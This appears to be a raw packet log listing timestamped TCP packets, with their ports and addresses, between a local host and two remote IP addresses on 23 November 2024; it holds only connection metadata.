Nov 23, 2024 11:22:22.082226992 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.082226992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.082237959 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.082807064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.082952976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.083046913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.083770990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.083812952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.083899975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.084697008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.084753036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.084855080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.085669994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.085745096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.085829020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.086575031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.086775064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.086844921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.087560892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.087688923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.087735891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.088506937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.088643074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.088684082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.089329958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.134299040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.250828981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.251058102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.251106977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.251271963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.251502991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.251545906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.252194881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.252310991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.252441883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.253140926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.253182888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.253232956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.254086018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.254196882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.254380941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.255013943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.255105972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.255152941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.255944014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.256122112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.256449938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.256875992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.256968975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.257745028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.257822990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.257992983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.258033037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.258755922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.258877039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.259111881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.259711027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.259814978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.260449886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.260629892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.260731936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.261277914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.261571884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.261631966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.261677027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.262517929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.262609005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.263472080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.263540030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.263580084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.263621092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.264477015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.264514923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.264559031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.265326023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.265405893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.265443087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.266277075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.266438961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.266479969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.267211914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.267380953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.268137932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.268186092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.268214941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.268261909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.269087076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.269241095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.269289970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.269993067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.270103931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.270982027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.271033049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.271063089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.271099091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.271903038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.272025108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.272444963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.272867918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.272927046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.273053885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.273829937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.273971081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.274019003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.274787903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.274947882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.275650024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.275701046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.275774002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.275819063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.276607037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.276905060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.276952982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.277517080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.277578115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.277626038 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.278458118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.278563023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.279402971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.279457092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.279531956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.279575109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.280369043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.280499935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.280930996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.281263113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.281579971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.281625986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.282325029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.282365084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.283132076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.283169031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.283174992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.283207893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.284112930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.284218073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.284446955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.285011053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.285276890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.285332918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.285983086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.286127090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.286942959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.286993027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.287036896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.287089109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.287844896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.288006067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.288441896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.288841009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.288887978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.288929939 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.289726973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.289853096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.289896011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.290667057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.290798903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.291582108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.291629076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.291698933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.291742086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.292534113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.292675018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.292726040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.293459892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.293548107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.294442892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.294490099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.294496059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.294528008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.295380116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.295485973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.296315908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.296366930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.296375990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.296416044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.297278881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.297327042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.297379017 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.298161983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.298296928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.299103975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.299149036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.299207926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.299248934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.299993038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.316266060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.461216927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.461429119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.461507082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.461672068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.461802959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.461848021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.462699890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.462940931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.462994099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.463557959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.463694096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.464468002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.464495897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.464586973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.465454102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.465487957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.465509892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.465533018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.466387987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.466514111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.466876984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.467325926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.467480898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.467525959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.468254089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.468328953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.468390942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.469218969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.469322920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.469408989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.470101118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.470191002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.470244884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.471052885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.471133947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.471508026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.471987963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.472110033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.472160101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.472955942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.473136902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.473186016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.473826885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.473970890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.474113941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.474828005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.474912882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.474951982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.475749969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.475821972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.475994110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.476689100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.476710081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.476756096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.477615118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.477742910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.477786064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.478579044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.478678942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.479437113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.479494095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.479686975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.480408907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.480420113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.480513096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.480556011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.481395960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.481509924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.481551886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.482302904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.482451916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.482495070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.483258009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.483330011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.483387947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.484338999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.484371901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.484436989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.485110044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.485246897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.485315084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.486078978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.486191034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.486236095 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.486885071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.486979008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.487122059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.487157106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.487936974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.488137960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.488184929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.488858938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.488930941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.489159107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.489830971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.489991903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.490048885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.490760088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.490930080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.490991116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.491693020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.491832018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.491874933 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.492618084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.492734909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.492789030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.493551970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.493643045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.493686914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.494496107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.494647980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.494697094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.495456934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.495578051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.495727062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.496390104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.496565104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.496603966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.497301102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.497353077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.497392893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.497431040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.498234987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.498368979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.498408079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.499207973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.499389887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.500191927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.500241041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.500274897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.500317097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.501058102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.501182079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.501224041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.502007008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.502096891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.502940893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.502983093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.502994061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.503032923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.503865957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.504081964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.504439116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.504801989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.504985094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.505769014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.505809069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.505893946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.505939007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.506684065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.506967068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.507663012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.507703066 CET	49786	80	192.168.2.4	34.116.198.130
